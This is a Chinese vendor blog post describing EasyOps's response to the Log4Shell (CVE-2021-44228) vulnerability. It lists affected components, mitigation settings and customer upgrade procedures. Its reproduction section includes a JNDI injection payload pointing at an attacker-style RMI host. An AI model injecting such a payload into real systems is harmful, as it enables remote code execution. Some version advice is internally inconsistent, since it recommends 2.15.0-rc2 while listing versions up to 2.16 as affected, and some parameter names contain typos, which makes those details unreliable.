先前,Log4j2项目爆出的漏洞

堪称核弹级的漏洞

那这么硬核的漏洞

究竟要多复杂的动作才能触发

Apache Log4j2远程代码执行呢?

答案简单得令人害怕: 

 只需外部用户输入的数据被日志记录!!




由于它被作为基础组件用在很多Java框架和项目中影响了数以百万计的应用,因此绝大多数使用Java项目的公司都会被波及。


经多方验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响,危害极大!


 漏洞猛如虎

优维针对0day漏洞快速响应

提供有效方案闪电堵漏

用极致的专业度

切实保障旗下客户的业务安全

Log4j2漏洞危机在优维的辐射范围内早已

雨!过!天!晴!

快来看看我们是怎么动态×追击×堵漏的吧👀  👀


1. 案发背景



12⽉9号深夜,ApacheLog4j2被曝出⼀个⾼危漏洞,攻击者通过jndi注⼊攻击的形式可以轻松远程执⾏任何代码。


随后官⽅紧急推出了2.15.0和2.15.0-rc1新版本修复,依然未能完全解决问题,现在已经更新到2.15.0-rc2。


该漏洞被命名为Log4Shell,编号:CVE-2021-44228。


# 漏洞复现

使⽤官⽹https://logging.apache.org/log4j/2.x/manual/lookups.html中提到的lookup功能,如果⽇志记录的内容进⾏类似以下这种形式调⽤{jndi:rmi://192.168.1.1:1234/bug},就可以直接在服务器端远程调⽤攻击者注册的名为"bug"的服务。


# 影响范围
 Apache Log4j 2.x <= 2.16


# 修复方法

① 升级ApacheLog4j2所有相关应⽤到最新的log4j-2.15.0-rc2版本,rc1版本已被证实存在绕过⻛险。下载地址为https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2;


② 配置⽹络防⽕墙, 禁⽌系统主动外连⽹络, 包含不限于DNS、TCP/IP、 ICMP;


③ 升级已知受影响的应⽤及组件,比如srping-boot-strater-log4j2、ApacheSolr、ApacheFlink、ApacheDruid、ApacheStruts2。


# 紧急加固缓解措施


① 设置配置参数: log4j2.formatMsgNoLookups=true;


② 修改JVM参数: -Dlog4j2.formatMsgNoLookups=true;


③ 修改系统环境变量:FORMAT_MESSAGES_PATTER_DISABLE_LOOKUPS设置为true;


④ 禁⽌log4j2所在服务器外连;


⑤ 升级jdk版本⾄6u211/7u201/8u191/11.0.1以上。



2. EasyOps平台


# 关联影响组件


# zookeeper(基础组件)


1. /usr/local/easyops/zookeeper/lib/log4j-1.2.16.jar

/usr/local/easyops/zookeeper/lib/log4j-1.2.17.jar


2. /usr/local/easyops/zookeeper/lib/slf4j-log4j12-1.7.25.jar


# elasticsearch(已废弃使⽤, 新版本建议直接停⽌服务, 并移除⽂件)


1. /usr/local/easyops/elasticsearch/lib/log4j-api-2.11.1.jar

/usr/local/easyops/elasticsearch/lib/log4j-1.2-api-2.11.1.jar


2. /usr/local/easyops/elasticsearch/lib/log4j-core-2.11.1.jar

# kafka(基础组件)


1. /usr/local/easyops/kafka/libs/log4j-1.2.17.jar

/usr/local/easyops/flink_jobmanager/lib/log4j-over-slf4j-1.7.7.jar


2. /usr/local/easyops/flink_taskmanager/lib/log4j-over-slf4j-1.7.7.jar


# flowable(必须升级, 影响ITSC功能)

1. /usr/local/easyops/flowable/flowable-rest/WEB-INF/lib/log4j-api-2.13.3.jar


2. /usr/local/easyops/flowable/flowable-rest/WEB-INF/lib/log4j-core-2.13.3.jar


3. /usr/local/easyops/flowable/flowable-rest/WEB-INF/lib/log4j-jul-2.13.3.jar


4. /usr/local/easyops/flowable/flowable-rest/WEB-INF/lib/log4j-slf4j-impl-2.13.3.jar


5. /usr/local/easyops/flowable/flowable-rest/WEB-INF/lib/spring-boot-starter-log4j2-2.3.6.RELEASE.jar


# sqlextractor(必须升级, 影响数据库变更功能)

# file_previewer(必须升级)

# flink_jobmanager(监控组件, 使⽤log4j1.x的库, 可不升级)

# flink_taskmanager(监控组件, 使⽤log4j1.x的库, 可不升级)

# storm_nimbus/supervisor/topology(组件已经废弃使用,在有flink的情况下, 直接停⽌, 并移⾛)

# 发布记录

1. 006373-【zookeeper:3.1.0 kafka:3.2.0】  升级 Log4j到2.15


2. 006372-【file_previewer:1.0.21⽂件预览】  升级log4j漏洞


3. 006371-【flowable:1.3.4】  flowable log4j漏洞修复


4. 006365-【sqlextractor:1.1.3】  优化对象提取速度



3. 升级记录


# 参与人员

1. 各区域专人负责,必须是熟手
# 时间问题

1. 2021-12-14  -  2022-01-28

# 升级原则


1. 升级前和客户进⾏充分沟通,协商好升级窗⼝

2. 先在⽤户侧测试环境升级,确认升级符合预期后才可进⾏⽣产环境升级,并提前做好必要的数据备份;优先⽀持重点客户和使⽤easyuc控制台的客户


4. 升级步骤


# 使⽤easyuc升级控制台(推荐)

# 升级easyops平台组件(按单组件模式)

# zookeeper、kafka、flowable组件(必须升级)

建议升级的3个组件(flowable:1.3.4、kafka:3.2.0、zookeeper:3.1.0)


http://192.168.100.46/upgrade-center/update_must.tar.gz

【修复版本-flowable(log4j2:2.13.3->2.15.0) 、kafka(log4j:1.2.17->2.


# 数据库变更组件(可选:sqlextractor:1.1.3)

http://192.168.100.46/upgrade-center/update_must.tar.gz

http://192.168.100.46/upgrade-center/update_sqlextractor.tar.gz

【修复版本-sqlextractor(log4j2:2.14.0->2.15.0)】
sqlextractor:1.1.3


# itsc组件 (可选:file_previewer:1.0.21)

# 按需升级itsc1个组件(file_previewer:1.0.21)

http://192.168.100.46/upgrade-center/file_previewe.tar.gz

【修复版本-file_previewer(log4j2:2.14.0->2.15.0)】

# 针对⽬前平台已弃⽤组件es及stom类组件


# es(确保已安装easy_core组件则代表当前es已弃⽤)


停掉es并将log4j所在⽬录都删除即可保留当前es组件主⽬录及对应的version.ini,防⽌后续ucpro升级会再次拉到该组件


# storm各组件(确保当前平台已安装flink组件,则storm_nimbus/supervisor/topology已弃⽤)


停掉strom并将log4j所在⽬录都删除即可保留当前storm组件主⽬录及对应的version.ini,防⽌后续ucpro升级会再次拉到该组件



5. 确认升级结果


1. 各区域负责人收集反馈客户升级结果,统一反馈到chase这里



6. 常规问题答疑


# easyuc升级如何操作
 # 单机(测试环境)

将下载好组件包放到机器的任意⽬录下,解压组件包——进⼊升级包

执⾏命令(⼀定要在bin的同级⽬录执⾏):

./bin/easyuc-ip 127.0.0.1


# 集群(⽣产环境)

将下载好的组件包放到ucpro所在主机, 解压组件包——进⼊升级包

执⾏命令例⼦(org替换现场客户org, ⼀定要在bin的同级⽬录执⾏):

./bin/easyuc-hosts/usr/local/ucpro/ucpro_service/conf/easyops_hosts.ini-org  1888



明枪易躲,暗箭难防


维护客户的运维安全是优维的天赋使命


以上种种应对Log4j2漏洞的修复


虽然硬核但也只是我们的常规操作


无论你们怎么点赞


我们都不会骄傲